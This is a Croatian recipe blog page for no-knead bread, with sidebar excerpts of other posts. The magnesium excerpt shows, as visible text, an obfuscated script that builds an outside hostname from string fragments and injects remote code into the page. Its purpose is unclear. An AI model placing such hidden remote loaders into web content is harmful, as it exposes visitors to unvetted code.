DOMAĆI KRUH KOJI SE NE MIJESI 🍞




Domaći kruh koji se ne mijesi 



Ono što ga čini posebnim jest upravo njegova jednostavnost. Vrijeme radi za nas, a rezultat je domaći kruh koji izgleda i ima okus kao da smo uložili mnogo više truda nego što zapravo jesmo.





Domaći kruh koji se ne mijesi 


Sastojci:

  • 3 šalice (oko 380 g) glatkog brašna
  • 1 žličica soli
  • 1 žličica suhog kvasca
  • 1 i 1/2 šalica (350-360 ml) tople vode



Priprema:

  • U velikoj zdjeli pomiješajte brašno, sol i suhi kvasac dok se svi sastojci ravnomerno ne sjedine. Dodajte toplu vodu i miješajte dok ne dobijete ljepljivo tijesto.
  • Pokrijte zdjelu čistom kuhinjskom krpom i ostavite tijesto da odmara na sobnoj temperaturi oko 6 sati. Za to vrijeme, tijesto će se razviti i dobiti karakterističnu teksturu bez ikakvog mešenja.
  • Radnu površinu lagano pospite brašnom, prebacite tijesto i nježno ga preklopite nekoliko puta dok ne formirate kompaktnu loptu. Zatim ga prebacite na papir za pečenje, oblikujte po želji i pažljivo stavite u zagrijanu posudu s poklopcem.
  • Pećnicu zagrijte na 230°C i pecite kruh poklopljen 30 minuta. Nakon toga skinite poklopac i nastavite peći još 12 do 15 minuta, dok korica ne dobije bogatu, zlatno-smeđu boju.
  • Kada izvadite kruh iz pećnice, ostavite ga da se hladi najmanje 30 minuta prije rezanja.

.
Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više